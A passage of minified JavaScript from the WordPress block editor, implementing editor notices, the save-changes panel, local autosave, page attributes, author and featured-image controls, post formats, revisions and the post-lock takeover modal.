continue?"))&&n.synchronizeTemplate()}}]},(0,Xt.__)("The content of your post doesn’t match the template assigned to your post type."))})),Do=(0,u.compose)([(0,l.withSelect)((e=>({notices:e(Kt.store).getNotices()}))),(0,l.withDispatch)((e=>({onRemove:e(Kt.store).removeNotice})))])((function(e){let{notices:t,onRemove:n}=e;const o=(0,r.filter)(t,{isDismissible:!0,type:"default"}),s=(0,r.filter)(t,{isDismissible:!1,type:"default"});return(0,i.createElement)(i.Fragment,null,(0,i.createElement)(xo.NoticeList,{notices:s,className:"components-editor-notices__pinned"}),(0,i.createElement)(xo.NoticeList,{notices:o,className:"components-editor-notices__dismissible",onRemove:n},(0,i.createElement)(Ro,null)))}));function Lo(){const e=(0,l.useSelect)((e=>e(Kt.store).getNotices()),[]),{removeNotice:t}=(0,l.useDispatch)(Kt.store),n=(0,r.filter)(e,{type:"snackbar"});return(0,i.createElement)(xo.SnackbarList,{notices:n,className:"components-editor-notices__snackbar",onRemove:t})}const Oo=window.wp.htmlEntities;function Uo(e){let{record:t,checked:n,onChange:o,closePanel:s}=e;const{name:r,kind:a,title:u,key:d}=t,m=(0,l.useSelect)((e=>{var t;const{blocks:n=[]}=e(c.store).getEditedEntityRecord(a,r,d),o=e(p.store).getBlockParents(null===(t=n[0])||void 0===t?void 0:t.clientId);return o[o.length-1]}),[]),h=(0,l.useSelect)((e=>{if("postType"!==a||"wp_template"!==r)return u;const t=e(c.store).getEditedEntityRecord(a,r,d);return e(oo).__experimentalGetTemplateInfo(t).title}),[r,a,u,d]),g=(0,l.useSelect)((e=>e(p.store).getSelectedBlockClientId()===m),[m]),v=g?(0,Xt.__)("Selected"):(0,Xt.__)("Select"),{selectBlock:_}=(0,l.useDispatch)(p.store),f=(0,i.useCallback)((()=>_(m)),[m]),y=(0,i.useCallback)((()=>{_(m),s()}),[m]);return(0,i.createElement)(xo.PanelRow,null,(0,i.createElement)(xo.CheckboxControl,{label:(0,i.createElement)("strong",null,(0,Oo.decodeEntities)(h)||(0,Xt.__)("Untitled")),checked:n,onChange:o}),m?(0,i.createElement)(i.Fragment,null,(0,i.createElement)(xo.Button,{onClick:f,className:"entities-saved-states__find-entity",disabled:g},v),(0,i.createElement)(xo.Button,{onClick:y,className:"entities-saved-states__find-entity-small",disabled:g},v)):null)}function Fo(e){let{list:t,unselectedEntities:n,setUnselectedEntities:o,closePanel:s}=e;const a=t.length,u=t[0],d=(0,l.useSelect)((e=>e(c.store).getEntityConfig(u.kind,u.name)),[u.kind,u.name]),{name:p}=u;let m=d.label;"wp_template_part"===p&&(m=1===a?(0,Xt.__)("Template Part"):(0,Xt.__)("Template Parts"));const h=function(e,t){switch(e){case"site":return 1===t?(0,Xt.__)("This change will affect your whole site."):(0,Xt.__)("These changes will affect your whole site.");case"wp_template":return(0,Xt.__)("This change will affect pages and posts that use this template.");case"page":case"post":return(0,Xt.__)("The following content has been modified.")}}(p,a);return(0,i.createElement)(xo.PanelBody,{title:m,initialOpen:!0},h&&(0,i.createElement)(xo.PanelRow,null,h),t.map((e=>(0,i.createElement)(Uo,{key:e.key||e.property,record:e,checked:!(0,r.some)(n,(t=>t.kind===e.kind&&t.name===e.name&&t.key===e.key&&t.property===e.property)),onChange:t=>o(e,t),closePanel:s}))))}const Mo={title:(0,Xt.__)("Title"),description:(0,Xt.__)("Tagline"),site_logo:(0,Xt.__)("Logo"),site_icon:(0,Xt.__)("Icon"),show_on_front:(0,Xt.__)("Show on front"),page_on_front:(0,Xt.__)("Page on front")},zo=[{kind:"postType",name:"wp_navigation"}];function Vo(e){let{close:t}=e;const n=(0,i.useRef)(),{dirtyEntityRecords:o}=(0,l.useSelect)((e=>{const t=e(c.store).__experimentalGetDirtyEntityRecords().filter((e=>!("root"===e.kind&&"site"===e.name))),n=e(c.store).getEntityRecordEdits("root","site"),o=[];for(const e in n)o.push({kind:"root",name:"site",title:Mo[e]||e,property:e});return{dirtyEntityRecords:[...t,...o]}}),[]),{editEntityRecord:a,saveEditedEntityRecord:d,__experimentalSaveSpecifiedEntityEdits:m}=(0,l.useDispatch)(c.store),{__unstableMarkLastChangeAsPersistent:h}=(0,l.useDispatch)(p.store),{createSuccessNotice:g,createErrorNotice:v}=(0,l.useDispatch)(Kt.store),_=(0,r.groupBy)(o,"name"),{site:f,wp_template:y,wp_template_part:b,...E}=_,S=[f,y,b,...Object.values(E)].filter(Array.isArray),[w,P]=(0,i.useState)([]),k=(e,t)=>{let{kind:n,name:o,key:s,property:i}=e;P(t?w.filter((e=>e.kind!==n||e.name!==o||e.key!==s||e.property!==i)):[...w,{kind:n,name:o,key:s,property:i}])},C=(0,i.useCallback)((()=>t()),[t]),[T,x]=(0,u.__experimentalUseDialog)({onClose:()=>C()});return(0,i.createElement)("div",s({ref:T},x,{className:"entities-saved-states__panel"}),(0,i.createElement)(xo.Flex,{className:"entities-saved-states__panel-header",gap:2},(0,i.createElement)(xo.FlexItem,{isBlock:!0,as:xo.Button,ref:n,variant:"primary",disabled:o.length-w.length==0,onClick:()=>{const e=o.filter((e=>{let{kind:t,name:n,key:o,property:s}=e;return!(0,r.some)(w,(e=>e.kind===t&&e.name===n&&e.key===o&&e.property===s))}));t(e);const n=[],s=[];e.forEach((e=>{let{kind:t,name:o,key:i,property:r}=e;"root"===t&&"site"===o?n.push(r):(zo.some((e=>e.kind===t&&e.name===o))&&a(t,o,i,{status:"publish"}),s.push(d(t,o,i)))})),n.length&&s.push(m("root","site",void 0,n)),h(),Promise.all(s).then((e=>{e.some((e=>void 0===e))?v((0,Xt.__)("Saving failed.")):g((0,Xt.__)("Site updated."),{type:"snackbar"})})).catch((e=>v(`${(0,Xt.__)("Saving failed.")} ${e}`)))},className:"editor-entities-saved-states__save-button"},(0,Xt.__)("Save")),(0,i.createElement)(xo.FlexItem,{isBlock:!0,as:xo.Button,variant:"secondary",onClick:C},(0,Xt.__)("Cancel"))),(0,i.createElement)("div",{className:"entities-saved-states__text-prompt"},(0,i.createElement)("strong",null,(0,Xt.__)("Are you ready to save?")),(0,i.createElement)("p",null,(0,Xt.__)("The following changes have been made to your site, templates, and content."))),S.map((e=>(0,i.createElement)(Fo,{key:e[0].name,list:e,closePanel:C,unselectedEntities:w,setUnselectedEntities:k}))))}function Ho(e){let{text:t,children:n}=e;const o=(0,u.useCopyToClipboard)(t);return(0,i.createElement)(xo.Button,{variant:"secondary",ref:o},n)}class Wo extends i.Component{constructor(){super(...arguments),this.reboot=this.reboot.bind(this),this.getContent=this.getContent.bind(this),this.state={error:null}}componentDidCatch(e){this.setState({error:e}),(0,d.doAction)("editor.ErrorBoundary.errorLogged",e)}reboot(){this.props.onError()}getContent(){try{return(0,l.select)(oo).getEditedPostContent()}catch(e){}}render(){const{error:e}=this.state;return e?(0,i.createElement)(p.Warning,{className:"editor-error-boundary",actions:[(0,i.createElement)(xo.Button,{key:"recovery",onClick:this.reboot,variant:"secondary"},(0,Xt.__)("Attempt Recovery")),(0,i.createElement)(Ho,{key:"copy-post",text:this.getContent},(0,Xt.__)("Copy Post Text")),(0,i.createElement)(Ho,{key:"copy-error",text:e.stack},(0,Xt.__)("Copy Error"))]},(0,Xt.__)("The editor has encountered an unexpected error.")):this.props.children}}const Go=Wo,jo=window.requestIdleCallback?window.requestIdleCallback:window.requestAnimationFrame;let $o,Ko=0;const Yo=(0,u.ifCondition)((()=>{if(void 0===$o)try{window.sessionStorage.setItem("__wpEditorTestSessionStorage",""),window.sessionStorage.removeItem("__wpEditorTestSessionStorage"),$o=!0}catch(e){$o=!1}return $o}))((function(){const{autosave:e}=(0,l.useDispatch)(oo),t=(0,i.useCallback)((()=>{jo((()=>e({local:!0})))}),[]);(function(){const{postId:e,isEditedPostNew:t,hasRemoteAutosave:n}=(0,l.useSelect)((e=>({postId:e(oo).getCurrentPostId(),isEditedPostNew:e(oo).isEditedPostNew(),hasRemoteAutosave:!!e(oo).getEditorSettings().autosave})),[]),{getEditedPostAttribute:o}=(0,l.useSelect)(oo),{createWarningNotice:s,removeNotice:r}=(0,l.useDispatch)(Kt.store),{editPost:c,resetEditorBlocks:u}=(0,l.useDispatch)(oo);(0,i.useEffect)((()=>{let i=function(e,t){return window.sessionStorage.getItem(Yt(e,t))}(e,t);if(!i)return;try{i=JSON.parse(i)}catch(e){return}const{post_title:l,content:d,excerpt:p}=i,m={title:l,content:d,excerpt:p};if(!Object.keys(m).some((e=>m[e]!==o(e))))return void Qt(e,t);if(n)return;const h="wpEditorAutosaveRestore"+ ++Ko;s((0,Xt.__)("The backup of this post in your browser is different from the version below."),{id:h,actions:[{label:(0,Xt.__)("Restore the backup"),onClick(){const{content:e,...t}=m;c(t),u((0,a.parse)(m.content)),r(h)}}]})}),[t,e])})(),function(){const{postId:e,isEditedPostNew:t,isDirty:n,isAutosaving:o,didError:s}=(0,l.useSelect)((e=>({postId:e(oo).getCurrentPostId(),isEditedPostNew:e(oo).isEditedPostNew(),isDirty:e(oo).isEditedPostDirty(),isAutosaving:e(oo).isAutosavingPost(),didError:e(oo).didPostSaveRequestFail()})),[]),r=(0,i.useRef)(n),a=(0,i.useRef)(o);(0,i.useEffect)((()=>{!s&&(a.current&&!o||r.current&&!n)&&Qt(e,t),r.current=n,a.current=o}),[n,o,s]);const c=(0,u.usePrevious)(t),d=(0,u.usePrevious)(e);(0,i.useEffect)((()=>{d===e&&c&&!t&&Qt(e,!0)}),[t,e])}();const{localAutosaveInterval:n}=(0,l.useSelect)((e=>({localAutosaveInterval:e(oo).getEditorSettings().localAutosaveInterval})),[]);return(0,i.createElement)(lo,{interval:n,autosave:t})})),qo=function(e){let{children:t}=e;const n=(0,l.useSelect)((e=>{const{getEditedPostAttribute:t}=e(oo),{getPostType:n}=e(c.store);return n(t("type"))}),[]);return(0,r.get)(n,["supports","page-attributes"],!1)?t:null},Qo=(0,l.withSelect)((e=>{const{getEditedPostAttribute:t}=e(oo),{getPostType:n}=e(c.store);return{postType:n(t("type"))}}))((function(e){let{postType:t,children:n,supportKeys:o}=e,s=!0;return t&&(s=(0,r.some)((0,r.castArray)(o),(e=>!!t.supports[e]))),s?n:null})),Xo=e=>{let{onUpdateOrder:t,order:n=0}=e;const[o,s]=(0,i.useState)(null),r=null===o?n:o;return(0,i.createElement)(xo.TextControl,{className:"editor-page-attributes__order",type:"number",label:(0,Xt.__)("Order"),value:r,onChange:e=>{var n;s(e);const o=Number(e);Number.isInteger(o)&&""!==(null===(n=e.trim)||void 0===n?void 0:n.call(e))&&t(Number(e))},size:6,onBlur:()=>{s(null)}})},Zo=(0,u.compose)([(0,l.withSelect)((e=>({order:e(oo).getEditedPostAttribute("menu_order")}))),(0,l.withDispatch)((e=>({onUpdateOrder(t){e(oo).editPost({menu_order:t})}})))])((function(e){return(0,i.createElement)(Qo,{supportKeys:"page-attributes"},(0,i.createElement)(Xo,e))}));var Jo=n(4793),es=n.n(Jo);function ts(e){const t=e.map((e=>({children:[],parent:null,...e}))),n=(0,r.groupBy)(t,"parent");if(n.null&&n.null.length)return t;const o=e=>e.map((e=>{const t=n[e.id];return{...e,children:t&&t.length?o(t):[]}}));return o(n[0]||[])}const ns=e=>(0,r.unescape)(e.replace("&#039;","'")),os=e=>({...e,name:ns(e.name)});function ss(e){var t;return null!=e&&null!==(t=e.title)&&void 0!==t&&t.rendered?(0,Oo.decodeEntities)(e.title.rendered):`#${e.id} (${(0,Xt.__)("no title")})`}const is=(e,t)=>{const n=es()(e||"").toLowerCase(),o=es()(t||"").toLowerCase();return n===o?0:n.startsWith(o)?n.length:1/0},rs=function(){const{editPost:e}=(0,l.useDispatch)(oo),[t,n]=(0,i.useState)(!1),{parentPost:o,parentPostId:s,items:a,postType:d}=(0,l.useSelect)((e=>{const{getPostType:n,getEntityRecords:o,getEntityRecord:s}=e(c.store),{getCurrentPostId:i,getEditedPostAttribute:a}=e(oo),l=a("type"),u=a("parent"),d=n(l),p=i(),m=(0,r.get)(d,["hierarchical"],!1),h={per_page:100,exclude:p,parent_exclude:p,orderby:"menu_order",order:"asc",_fields:"id,title,parent"};return t&&(h.search=t),{parentPostId:u,parentPost:u?s("postType",l,u):null,items:m?o("postType",l,h):[],postType:d}}),[t]),p=(0,r.get)(d,["hierarchical"],!1),m=(0,r.get)(d,["labels","parent_item_colon"]),h=a||[],g=(0,i.useMemo)((()=>{const e=function(n){let o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;const s=n.map((t=>[{value:t.id,label:"— ".repeat(o)+(0,r.unescape)(t.name),rawName:t.name},...e(t.children||[],o+1)])),i=s.sort(((e,n)=>{let[o]=e,[s]=n;return is(o.rawName,t)>=is(s.rawName,t)?1:-1}));return i.flat()};let n=h.map((e=>({id:e.id,parent:e.parent,name:ss(e)})));t||(n=ts(n));const i=e(n),a=(0,r.find)(i,(e=>e.value===s));return o&&!a&&i.unshift({value:s,label:ss(o)}),i}),[h,t]);return p&&m?(0,i.createElement)(xo.ComboboxControl,{className:"editor-page-attributes__parent",label:m,value:s,options:g,onFilterValueChange:(0,u.debounce)((e=>{n(e)}),300),onChange:t=>{e({parent:t})}}):null},as=function(){const{availableTemplates:e,selectedTemplate:t,isViewable:n}=(0,l.useSelect)((e=>{var t,n;const{getEditedPostAttribute:o,getEditorSettings:s,getCurrentPostType:i}=e(oo),{getPostType:r}=e(c.store);return{selectedTemplate:o("template"),availableTemplates:s().availableTemplates,isViewable:null!==(t=null===(n=r(i()))||void 0===n?void 0:n.viewable)&&void 0!==t&&t}}),[]),{editPost:o}=(0,l.useDispatch)(oo);return!n||(0,r.isEmpty)(e)?null:(0,i.createElement)(xo.SelectControl,{label:(0,Xt.__)("Template:"),value:t,onChange:e=>{o({template:e||""})},options:(0,r.map)(e,((e,t)=>({value:t,label:e})))})},ls={who:"authors",per_page:50,_fields:"id,name",context:"view"},cs=function(){const[e,t]=(0,i.useState)(),{authorId:n,isLoading:o,authors:s,postAuthor:r}=(0,l.useSelect)((t=>{const{getUser:n,getUsers:o,isResolving:s}=t(c.store),{getEditedPostAttribute:i}=t(oo),r=n(i("author"),{context:"view"}),a={...ls};return e&&(a.search=e),{authorId:i("author"),postAuthor:r,authors:o(a),isLoading:s("core","getUsers",[a])}}),[e]),{editPost:a}=(0,l.useDispatch)(oo),d=(0,i.useMemo)((()=>{const e=(null!=s?s:[]).map((e=>({value:e.id,label:(0,Oo.decodeEntities)(e.name)})));return e.findIndex((e=>{let{value:t}=e;return(null==r?void 0:r.id)===t}))<0&&r?[{value:r.id,label:(0,Oo.decodeEntities)(r.name)},...e]:e}),[s,r]);return r?(0,i.createElement)(xo.ComboboxControl,{label:(0,Xt.__)("Author"),options:d,value:n,onFilterValueChange:(0,u.debounce)((e=>{t(e)}),300),onChange:e=>{e&&a({author:e})},isLoading:o,allowReset:!1}):null},us=function(){const{editPost:e}=(0,l.useDispatch)(oo),{postAuthor:t,authors:n}=(0,l.useSelect)((e=>({postAuthor:e(oo).getEditedPostAttribute("author"),authors:e(c.store).getUsers(ls)})),[]),o=(0,i.useMemo)((()=>(null!=n?n:[]).map((e=>({value:e.id,label:(0,Oo.decodeEntities)(e.name)})))),[n]);return(0,i.createElement)(xo.SelectControl,{className:"post-author-selector",label:(0,Xt.__)("Author"),options:o,onChange:t=>{const n=Number(t);e({author:n})},value:t})},ds=function(){return(0,l.useSelect)((e=>{const t=e(c.store).getUsers(ls);return(null==t?void 0:t.length)>=25}),[])?(0,i.createElement)(cs,null):(0,i.createElement)(us,null)};function ps(e){let{children:t}=e;const{hasAssignAuthorAction:n,hasAuthors:o}=(0,l.useSelect)((e=>{const t=e(oo).getCurrentPost(),n=e(c.store).getUsers(ls);return{hasAssignAuthorAction:(0,r.get)(t,["_links","wp:action-assign-author"],!1),hasAuthors:(null==n?void 0:n.length)>=1}}),[]);return n&&o?(0,i.createElement)(Qo,{supportKeys:"author"},t):null}const ms=(0,u.compose)([(0,l.withSelect)((e=>({commentStatus:e(oo).getEditedPostAttribute("comment_status")}))),(0,l.withDispatch)((e=>({editPost:e(oo).editPost})))])((function(e){let{commentStatus:t="open",...n}=e;return(0,i.createElement)(xo.CheckboxControl,{label:(0,Xt.__)("Allow comments"),checked:"open"===t,onChange:()=>n.editPost({comment_status:"open"===t?"closed":"open"})})})),hs=(0,u.compose)([(0,l.withSelect)((e=>({excerpt:e(oo).getEditedPostAttribute("excerpt")}))),(0,l.withDispatch)((e=>({onUpdateExcerpt(t){e(oo).editPost({excerpt:t})}})))])((function(e){let{excerpt:t,onUpdateExcerpt:n}=e;return(0,i.createElement)("div",{className:"editor-post-excerpt"},(0,i.createElement)(xo.TextareaControl,{label:(0,Xt.__)("Write an excerpt (optional)"),className:"editor-post-excerpt__textarea",onChange:e=>n(e),value:t}),(0,i.createElement)(xo.ExternalLink,{href:(0,Xt.__)("https://wordpress.org/support/article/settings-sidebar/#excerpt")},(0,Xt.__)("Learn more about manual excerpts")))})),gs=function(e){return(0,i.createElement)(Qo,s({},e,{supportKeys:"excerpt"}))},vs=window.wp.blob,_s=(0,l.withSelect)((e=>{const{getThemeSupports:t}=e(c.store),{getEditedPostAttribute:n}=e(oo);return{postType:n("type"),themeSupports:t()}}))((function(e){let{themeSupports:t,children:n,postType:o,supportKeys:s}=e;return(0,r.some)((0,r.castArray)(s),(e=>{const n=(0,r.get)(t,[e],!1);return"post-thumbnails"===e&&Array.isArray(n)?(0,r.includes)(n,o):n}))?n:null})),fs=function(e){return(0,i.createElement)(_s,{supportKeys:"post-thumbnails"},(0,i.createElement)(Qo,s({},e,{supportKeys:"thumbnail"})))},ys=["image"],bs=(0,Xt.__)("Featured image"),Es=(0,Xt.__)("Set featured image"),Ss=(0,Xt.__)("Remove image"),ws=(0,i.createElement)("p",null,(0,Xt.__)("To edit the featured image, you need permission to upload media.")),Ps=(0,l.withSelect)((e=>{const{getMedia:t,getPostType:n}=e(c.store),{getCurrentPostId:o,getEditedPostAttribute:s}=e(oo),i=s("featured_media");return{media:i?t(i,{context:"view"}):null,currentPostId:o(),postType:n(s("type")),featuredImageId:i}})),ks=(0,l.withDispatch)(((e,t,n)=>{let{noticeOperations:o}=t,{select:s}=n;const{editPost:i}=e(oo);return{onUpdateImage(e){i({featured_media:e.id})},onDropImage(e){s(p.store).getSettings().mediaUpload({allowedTypes:["image"],filesList:e,onFileChange(e){let[t]=e;i({featured_media:t.id})},onError(e){o.removeAllNotices(),o.createErrorNotice(e)}})},onRemoveImage(){i({featured_media:0})}}})),Cs=(0,u.compose)(xo.withNotices,Ps,ks,(0,xo.withFilters)("editor.PostFeaturedImage"))((function(e){var t,n;let{currentPostId:o,featuredImageId:s,onUpdateImage:a,onRemoveImage:c,media:u,postType:m,noticeUI:h,noticeOperations:g}=e;const[v,_]=(0,i.useState)(!1),f=(0,l.useSelect)((e=>e(p.store).getSettings().mediaUpload),[]),y=(0,r.get)(m,["labels"],{}),{mediaWidth:b,mediaHeight:E,mediaSourceUrl:S}=function(e,t){var n,o,s,i;if(!e)return{};const r=(0,d.applyFilters)("editor.PostFeaturedImage.imageSize","large",e.id,t);if(r in(null!==(n=null==e||null===(o=e.media_details)||void 0===o?void 0:o.sizes)&&void 0!==n?n:{}))return{mediaWidth:e.media_details.sizes[r].width,mediaHeight:e.media_details.sizes[r].height,mediaSourceUrl:e.media_details.sizes[r].source_url};const a=(0,d.applyFilters)("editor.PostFeaturedImage.imageSize","thumbnail",e.id,t);return a in(null!==(s=null==e||null===(i=e.media_details)||void 0===i?void 0:i.sizes)&&void 0!==s?s:{})?{mediaWidth:e.media_details.sizes[a].width,mediaHeight:e.media_details.sizes[a].height,mediaSourceUrl:e.media_details.sizes[a].source_url}:{mediaWidth:e.media_details.width,mediaHeight:e.media_details.height,mediaSourceUrl:e.source_url}}(u,o);function w(e){f({allowedTypes:["image"],filesList:e,onFileChange(e){let[t]=e;(0,vs.isBlobURL)(null==t?void 0:t.url)?_(!0):(a(t),_(!1))},onError(e){g.removeAllNotices(),g.createErrorNotice(e)}})}return(0,i.createElement)(fs,null,h,(0,i.createElement)("div",{className:"editor-post-featured-image"},u&&(0,i.createElement)("div",{id:`editor-post-featured-image-${s}-describedby`,className:"hidden"},u.alt_text&&(0,Xt.sprintf)(// Translators: %s: The selected image alt text.
(0,Xt.__)("Current image: %s"),u.alt_text),!u.alt_text&&(0,Xt.sprintf)(// Translators: %s: The selected image filename.
(0,Xt.__)("The current image has no alternative text. The file name is: %s"),(null===(t=u.media_details.sizes)||void 0===t||null===(n=t.full)||void 0===n?void 0:n.file)||u.slug)),(0,i.createElement)(p.MediaUploadCheck,{fallback:ws},(0,i.createElement)(p.MediaUpload,{title:y.featured_image||bs,onSelect:a,unstableFeaturedImageFlow:!0,allowedTypes:ys,modalClass:"editor-post-featured-image__media-modal",render:e=>{let{open:t}=e;return(0,i.createElement)("div",{className:"editor-post-featured-image__container"},(0,i.createElement)(xo.Button,{className:s?"editor-post-featured-image__preview":"editor-post-featured-image__toggle",onClick:t,"aria-label":s?(0,Xt.__)("Edit or update the image"):null,"aria-describedby":s?`editor-post-featured-image-${s}-describedby`:null},!!s&&u&&(0,i.createElement)(xo.ResponsiveWrapper,{naturalWidth:b,naturalHeight:E,isInline:!0},(0,i.createElement)("img",{src:S,alt:""})),v&&(0,i.createElement)(xo.Spinner,null),!s&&!v&&(y.set_featured_image||Es)),(0,i.createElement)(xo.DropZone,{onFilesDrop:w}))},value:s})),!!s&&(0,i.createElement)(p.MediaUploadCheck,null,u&&(0,i.createElement)(p.MediaUpload,{title:y.featured_image||bs,onSelect:a,unstableFeaturedImageFlow:!0,allowedTypes:ys,modalClass:"editor-post-featured-image__media-modal",render:e=>{let{open:t}=e;return(0,i.createElement)(xo.Button,{onClick:t,variant:"secondary"},(0,Xt.__)("Replace Image"))}}),(0,i.createElement)(xo.Button,{onClick:c,variant:"link",isDestructive:!0},y.remove_featured_image||Ss))))})),Ts=(0,l.withSelect)((e=>({disablePostFormats:e(oo).getEditorSettings().disablePostFormats})))((function(e){let{disablePostFormats:t,...n}=e;return!t&&(0,i.createElement)(Qo,s({},n,{supportKeys:"post-formats"}))})),xs=[{id:"aside",caption:(0,Xt.__)("Aside")},{id:"audio",caption:(0,Xt.__)("Audio")},{id:"chat",caption:(0,Xt.__)("Chat")},{id:"gallery",caption:(0,Xt.__)("Gallery")},{id:"image",caption:(0,Xt.__)("Image")},{id:"link",caption:(0,Xt.__)("Link")},{id:"quote",caption:(0,Xt.__)("Quote")},{id:"standard",caption:(0,Xt.__)("Standard")},{id:"status",caption:(0,Xt.__)("Status")},{id:"video",caption:(0,Xt.__)("Video")}].sort(((e,t)=>{const n=e.caption.toUpperCase(),o=t.caption.toUpperCase();return n<o?-1:n>o?1:0}));function Bs(){const e=`post-format-selector-${(0,u.useInstanceId)(Bs)}`,{postFormat:t,suggestedFormat:n,supportedFormats:o}=(0,l.useSelect)((e=>{const{getEditedPostAttribute:t,getSuggestedPostFormat:n}=e(oo),o=t("format"),s=e(c.store).getThemeSupports();return{postFormat:null!=o?o:"standard",suggestedFormat:n(),supportedFormats:s.formats}}),[]),s=xs.filter((e=>(0,r.includes)(o,e.id)||t===e.id)),a=(0,r.find)(s,(e=>e.id===n)),{editPost:d}=(0,l.useDispatch)(oo),p=e=>d({format:e});return(0,i.createElement)(Ts,null,(0,i.createElement)("div",{className:"editor-post-format"},(0,i.createElement)(xo.SelectControl,{label:(0,Xt.__)("Post Format"),value:t,onChange:e=>p(e),id:e,options:s.map((e=>({label:e.caption,value:e.id})))}),a&&a.id!==t&&(0,i.createElement)("p",{className:"editor-post-format__suggestion"},(0,i.createElement)(xo.Button,{variant:"link",onClick:()=>p(a.id)},(0,Xt.sprintf)(
/* translators: %s: post format */
(0,Xt.__)("Apply suggested format: %s"),a.caption)))))}const As=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z"})),Is=(0,l.withSelect)((e=>{const{getCurrentPostLastRevisionId:t,getCurrentPostRevisionsCount:n}=e(oo);return{lastRevisionId:t(),revisionsCount:n()}}))((function(e){let{lastRevisionId:t,revisionsCount:n,children:o}=e;return!t||n<2?null:(0,i.createElement)(Qo,{supportKeys:"revisions"},o)})),Ns=(0,l.withSelect)((e=>{const{getCurrentPostLastRevisionId:t,getCurrentPostRevisionsCount:n}=e(oo);return{lastRevisionId:t(),revisionsCount:n()}}))((function(e){let{lastRevisionId:t,revisionsCount:n}=e;return(0,i.createElement)(Is,null,(0,i.createElement)(xo.Button,{href:(0,E.addQueryArgs)("revision.php",{revision:t,gutenberg:!0}),className:"editor-post-last-revision__title",icon:As},(0,Xt.sprintf)(
/* translators: %d: number of revisions */
(0,Xt._n)("%d Revision","%d Revisions",n),n)))}));function Rs(){const e="core/editor/post-locked-modal-"+(0,u.useInstanceId)(Rs),{autosave:t,updatePostLock:n}=(0,l.useDispatch)(oo),{isLocked:o,isTakeover:s,user:a,postId:p,postLockUtils:m,activePostLock:h,postType:g,previewLink:v}=(0,l.useSelect)((e=>{const{isPostLocked:t,isPostLockTakeover:n,getPostLockUser:o,getCurrentPostId:s,getActivePostLock:i,getEditedPostAttribute:r,getEditedPostPreviewLink:a,getEditorSettings:l}=e(oo),{getPostType:u}=e(c.store);return{isLocked:t(),isTakeover:n(),user:o(),postId:s(),postLockUtils:l().postLockUtils,activePostLock:i(),postType:u(r("type")),previewLink:a()}}),[]);if((0,i.useEffect)((()=>{function s(){if(o||!h)return;const e=new window.FormData;if(e.append("action","wp-remove-post-lock"),e.append("_wpnonce",m.unlockNonce),e.append("post_ID",p),e.append("active_post_lock",h),window.navigator.sendBeacon)window.navigator.sendBeacon(m.ajaxUrl,e);else{const t=new window.XMLHttpRequest;t.open("POST",m.ajaxUrl,!1),t.send(e)}}return(0,d.addAction)("heartbeat.send",e,(function(e){o||(e["wp-refresh-post-lock"]={lock:h,post_id:p})})),(0,d.addAction)("heartbeat.tick",e,(function(e){if(!e["wp-refresh-post-lock"])return;const o=e["wp-refresh-post-lock"];o.lock_error?(t(),n({isLocked:!0,isTakeover:!0,user:{name:o.lock_error.name,avatar:o.lock_error.avatar_src_2x}})):o.new_lock&&n({isLocked:!1,activePostLock:o.new_lock})})),window.addEventListener("beforeunload",s),()=>{(0,d.removeAction)("heartbeat.send",e),(0,d.removeAction)("heartbeat.tick",e),window.removeEventListener("beforeunload",s)}}),[]),!o)return null;const _=a.name,f=a.avatar,y=(0,E.addQueryArgs)("post.php",{"get-post-lock":"1",lockKey:!0,post:p,action:"edit",_wpnonce:m.nonce}),b=(0,E.addQueryArgs)("edit.php",{post_type:(0,r.get)(g,["slug"])}),S=(0,Xt.__)("Exit editor");return(0,i.createElement)(xo.Modal,{title:s?(0,Xt.__)("Someone else has taken over this post"):(0,Xt.__)("This post is already being edited"),focusOnMount:!0,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,isDismissible:!1,className:"editor-post-locked-modal"},!!f&&(0,i.createElement)("img",{src:f,alt:(0,Xt.__)("Avatar"),className:"editor-post-locked-modal__avatar",width:64,height:64}),(0,i.createElement)("div",null,!!s&&(0,i.createElement)("p",null,(0,i.createInterpolateElement)(_?(0,Xt.sprintf)(
/* translators: %s: user's display name */
(0,Xt.__)("<strong>%s</strong> now has editing control of this post (<PreviewLink />). Don’t worry, your changes up to this moment have been saved."),_):(0,Xt.__)("Another user now has editing control of this post (<PreviewLink />). Don’t worry, your changes up to this moment have been saved."),{strong:(0,i.createElement)("strong",null),PreviewLink:(0,i.createElement)(xo.ExternalLink,{href:v},(0,Xt.__)("preview"))})),!s&&(0,i.createElement)(i.Fragment,null,(0,i.createElement)("p",null,(0,i.createInterpolateElement)(_?(0,Xt.sprintf)(
/* translators: %s: user's display name */
(0,Xt.__)("<strong>%s</strong> is currently working on this post (<PreviewLink />), which means you cannot make changes, unless you take over."),_):(0,Xt.__)("Another user is currently working on this post (<PreviewLink />), which means you cannot make changes, unless you take over."),{strong:(0,i.createElement)("strong",null),PreviewLink:(0,i.createElement)(xo.ExternalLink,{href:v},(0,Xt.__)("preview"))})),(0,i.createElement)("p",null,(0,Xt.__)("If you take over, the other user will lose editing control to the post, but their changes will be saved."))),(0,i.createElement)(xo.Flex,{className:"editor-post-locked-modal__buttons",justify:"flex-end",expanded:!1},!s&&(0,i.createElement)(xo.FlexItem,null,(0,i.createElement)(xo.Button,{variant:"tertiary",href:y},(0,Xt.__)("Take over"))),(0,i.createElement)(xo.FlexItem,null,(0,i.createElement)(xo.Button,{variant:"primary",href:b},S)))))}const Ds=(0,u.compose)((0,l.withSelect)((e=>{const{isCurrentPostPublished:t,getCurrentPostType:n,getCurrentPost:o}=e(oo);return{hasPublishAction:(0,r.get)(o(),["_links","wp:action-publish"],!1),isPublished:t(),postType:n()}})))((function(e){let{hasPublishAction:t,isPublished:n,children:o}=e;return n||!t?null:o})),Ls=(0,u.compose)((0,l.withSelect)((e=>({status:e(oo).getEditedPostAttribute("status")}))),(0,l.withDispatch)((e=>({onUpdateStatus(t){e(oo).editPost({status:t})}}))))((function(e){let{status:t,onUpdateStatus:n}=e;return(0,i.createElement)(Ds,null,(0,i.createElement)(xo.CheckboxControl,{label:(0,Xt.__)("Pending 